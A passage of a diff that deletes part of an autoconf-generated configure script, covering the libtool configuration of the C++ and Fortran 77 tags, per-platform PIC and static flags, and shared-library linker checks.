-always_export_symbols=$always_export_symbols_CXX
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_CXX
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_CXX
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_CXX
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC=$lt_save_CC
-LDCXX=$LD
-LD=$lt_save_LD
-GCC=$lt_save_GCC
-with_gnu_ldcxx=$with_gnu_ld
-with_gnu_ld=$lt_save_with_gnu_ld
-lt_cv_path_LDCXX=$lt_cv_path_LD
-lt_cv_path_LD=$lt_save_path_LD
-lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
-lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
-
- else
- tagname=""
- fi
- ;;
-
- F77)
- if test -n "$F77" && test "X$F77" != "Xno"; then
-
-ac_ext=f
-ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5'
-ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_f77_compiler_gnu
-
-
-archive_cmds_need_lc_F77=no
-allow_undefined_flag_F77=
-always_export_symbols_F77=no
-archive_expsym_cmds_F77=
-export_dynamic_flag_spec_F77=
-hardcode_direct_F77=no
-hardcode_libdir_flag_spec_F77=
-hardcode_libdir_flag_spec_ld_F77=
-hardcode_libdir_separator_F77=
-hardcode_minus_L_F77=no
-hardcode_automatic_F77=no
-module_cmds_F77=
-module_expsym_cmds_F77=
-link_all_deplibs_F77=unknown
-old_archive_cmds_F77=$old_archive_cmds
-no_undefined_flag_F77=
-whole_archive_flag_spec_F77=
-enable_shared_with_static_runtimes_F77=no
-
-# Source file extension for f77 test sources.
-ac_ext=f
-
-# Object file extension for compiled f77 test sources.
-objext=o
-objext_F77=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code=" subroutine t\n return\n end\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code=" program t\n end\n"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${F77-"f77"}
-compiler=$CC
-compiler_F77=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
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- \-*) ;;
- *) break;;
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-GCC_F77="$G77"
-LD_F77="$LD"
-
-lt_prog_compiler_wl_F77=
-lt_prog_compiler_pic_F77=
-lt_prog_compiler_static_F77=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_static_F77='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_F77='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_F77='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_F77=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_F77=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_F77='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- else
- lt_prog_compiler_static_F77='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_F77='-qnocommon'
- lt_prog_compiler_wl_F77='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_F77='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-fpic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_F77='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_F77='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_F77='-Qoption ld '
- lt_prog_compiler_pic_F77='-PIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_F77='-Kconform_pic'
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_can_build_shared_F77=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_F77='-pic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_F77" >&5
-$as_echo "$lt_prog_compiler_pic_F77" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_F77"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works... " >&6; }
-if ${lt_prog_compiler_pic_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_F77=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_F77"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:14046: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:14050: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_F77=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_F77" >&5
-$as_echo "$lt_prog_compiler_pic_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_F77" = xyes; then
- case $lt_prog_compiler_pic_F77 in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_F77=" $lt_prog_compiler_pic_F77" ;;
- esac
-else
- lt_prog_compiler_pic_F77=
- lt_prog_compiler_can_build_shared_F77=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_F77=
- ;;
- *)
- lt_prog_compiler_pic_F77="$lt_prog_compiler_pic_F77"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_F77 eval lt_tmp_static_flag=\"$lt_prog_compiler_static_F77\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_F77=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_F77=yes
- fi
- else
- lt_prog_compiler_static_works_F77=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_F77" >&5
-$as_echo "$lt_prog_compiler_static_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_static_works_F77" = xyes; then
- :
-else
- lt_prog_compiler_static_F77=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_F77=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:14150: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:14154: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_F77=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_F77" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_F77" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_F77" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_F77=
- enable_shared_with_static_runtimes_F77=no
- archive_cmds_F77=
- archive_expsym_cmds_F77=
- old_archive_From_new_cmds_F77=
- old_archive_from_expsyms_cmds_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- thread_safe_flag_spec_F77=
- hardcode_libdir_flag_spec_F77=
- hardcode_libdir_flag_spec_ld_F77=
- hardcode_libdir_separator_F77=
- hardcode_direct_F77=no
- hardcode_minus_L_F77=no
- hardcode_shlibpath_var_F77=unsupported
- link_all_deplibs_F77=unknown
- hardcode_automatic_F77=no
- module_cmds_F77=
- module_expsym_cmds_F77=
- always_export_symbols_F77=no
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_F77=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_F77="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_F77=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_F77='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_F77='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_F77="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_F77=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_F77=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_F77=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_F77='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_F77='-L$libdir'
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=no
- enable_shared_with_static_runtimes_F77=yes
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_F77='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_F77='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_F77='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_F77='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_F77='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_F77=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
